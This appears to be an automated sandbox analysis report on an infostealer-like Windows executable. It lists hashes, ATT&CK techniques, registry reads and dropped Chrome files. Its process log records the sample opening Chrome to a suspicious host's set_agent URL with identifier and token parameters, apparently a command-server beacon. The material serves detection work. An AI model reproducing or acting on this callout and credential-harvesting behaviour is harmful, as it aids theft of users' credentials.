Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
01/06/2026, 17:09
Behavioral task
behavioral1
Sample
tmpt2ykhw39.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral2
Sample
tmpt2ykhw39.exe
Resource
win10v2004-20260513-en
General
- Target tmpt2ykhw39.exe
- Size 337KB
- Sample260601-vpfe3aa16y
- SHA256 e509431663ed1839770e56a17120afcb1692e25a1bf6633ba46c6e0a96155624
- MD5 138266acae1fe8fb0446511546c39314
- SHA1 21b436d25375e2f19cd69670fa04b18a60ee0ad2
- SHA512 0eab7143459d4abcf2917fd3cb67fe86dafb72d6c0575ff579a4df3492e782dd9f02d4f653493ce83f5d80f7ec1d2fda5441ca44f9b468de7fd5efb0b9573df6
- SSDEEP 6144:XvgEeOcmwvEL7fF1jTA659HSC8AVtZ5XlOHaoIhEFydXt:/8OcZ07bf0OtDlOHaoIndXt
- TLSH T1B1747B8AE7BB54B0D54B0938259FB33BDF3416294328CEC7DBF0DA4475672E21936A06
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tmpt2ykhw39.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 3260 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248074362388100" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 4116 chrome.exe 4116 chrome.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe 1320 tmpt2ykhw39.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
pid Process 4116 chrome.exe 4116 chrome.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeShutdownPrivilege 4116 chrome.exe Token: SeCreatePagefilePrivilege 4116 chrome.exe Token: SeShutdownPrivilege 4116 chrome.exe Token: SeCreatePagefilePrivilege 4116 chrome.exe Token: SeShutdownPrivilege 4116 chrome.exe Token: SeCreatePagefilePrivilege 4116 chrome.exe Token: SeShutdownPrivilege 4116 chrome.exe Token: SeCreatePagefilePrivilege 4116 chrome.exe Token: SeShutdownPrivilege 4116 chrome.exe Token: SeCreatePagefilePrivilege 4116 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe 4116 chrome.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1320 wrote to memory of 4116 1320 tmpt2ykhw39.exe 96 PID 4116 wrote to memory of 2536 4116 chrome.exe 97 PID 4116 wrote to memory of 4300 4116 chrome.exe 98 PID 4116 wrote to memory of 4300 4116 chrome.exe 98 PID 4116 wrote to memory of 3260 4116 chrome.exe 99 PID 4116 wrote to memory of 4684 4116 chrome.exe 100 PID 4116 wrote to memory of 4684 4116 chrome.exe 100 PID 4116 wrote to memory of 5108 4116 chrome.exe 102 PID 4116 wrote to memory of 744 4116 chrome.exe 103 PID 4116 wrote to memory of 5108 4116 chrome.exe 102 PID 4116 wrote to memory of 744 4116 chrome.exe 103 PID 4116 wrote to memory of 4292 4116 chrome.exe 104
Processes
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C:\Users\Admin\AppData\Local\Temp\tmpt2ykhw39.exe"C:\Users\Admin\AppData\Local\Temp\tmpt2ykhw39.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1320 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=C84F841ABD24956701AEC7B30ADF174C&token=66fe2163fd0f5368de392187ff587a12ed&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcee26c728,0x7ffcee26c734,0x7ffcee26c7403⤵PID:2536
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1724,i,9730517183825832381,1104119022770212456,262144 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1992 /prefetch:23⤵PID:4300
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1588,i,12580645780072515707,17446250084422059659,524288 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1568 /prefetch:33⤵
- System Time Discovery
PID:3260
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,5983039934333346941,9131397179586279559,524288 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2556 /prefetch:83⤵PID:4684
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,17083107295568944228,6257076486023526202,2097152 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3152 /prefetch:13⤵PID:5108
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,6362238430443859887,6916921018504898894,2097152 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:13⤵PID:744
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5064,i,10642594507190783864,6502531359680306248,524288 --field-trial-handle=1996,i,1286109865889377387,14834815682332370428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5072 /prefetch:83⤵PID:4292
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2040
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 f995702c3d41c983215c49bc3d60790f36da7c601873a9456dabb7b677ba694c
- MD5 339566c69271ba31d1664ec2ac969bd6
- SHA1 8c23e1284fe5ee087fc1a7f8f4781756f07c4b3f
- SHA512 74f717b732ffc833f8c44f6fddc3deb7ae922fda020d1dd263c312ddc11c75c12ef9f1a3ab1328ef1d0287d183dc25d85028e31538c585ed40d4528a8efacb4a
- TLSH T1C7F0F9BAD925AC3B18FC172C60951F4AE75013672B409D5F3B3C820D8FB563B454581C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 b99962b031f9f9c9b9c7e8bdeb64dcd8894035dcc1c98932512e2214674a4325
- MD5 0d939a010a129858a1e3b4817410ab25
- SHA1 6eea9ff5e0be6f95bdb71304268a6535f03b28f1
- SHA512 ec9aac92025047f0cc26d7f360c72b7cc42d4e94159135304fcf8e8bc26365d23e684908a8ed417310f6a2228744f300fd49ad030dfe6685adb6a7d68b75d44d
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2O3uVumTny4a4:1nbZeMrv/hGt3qny4X
- TLSH T116D3974B3A743002EDE59A722CF051BB5D3CB16D4F51A5D428B620588EF2863B63D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 3e3fa854a4537be71883381b19c90e73f0c15e2338ffcc16e3270b6a3eb63a89
- MD5 f69d804545549da7c0b8df2e2ee3dda9
- SHA1 22e925b5d4b335d6f2fd1d2cc29ce7942d8d304b
- SHA512 ef30868cbe2aa9247338c607e2e807ba171f42a3c121fb1b087b2b7e7ee7f6a19ad424b5a13fe427e2ba1f99a4561d977c9ff570b888584a16d114c806a0de2f
- SSDEEP 3072:xGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMO:gm7Rkm1tYpBeh2BAoO
- TLSH T124C3123B5D65E9375D78A71EB48E0B1E1EF249A6C930DE42C8D46B0433FA7CC1904A34
- MD5 SHA1 SHA512 SSDEEP TLSH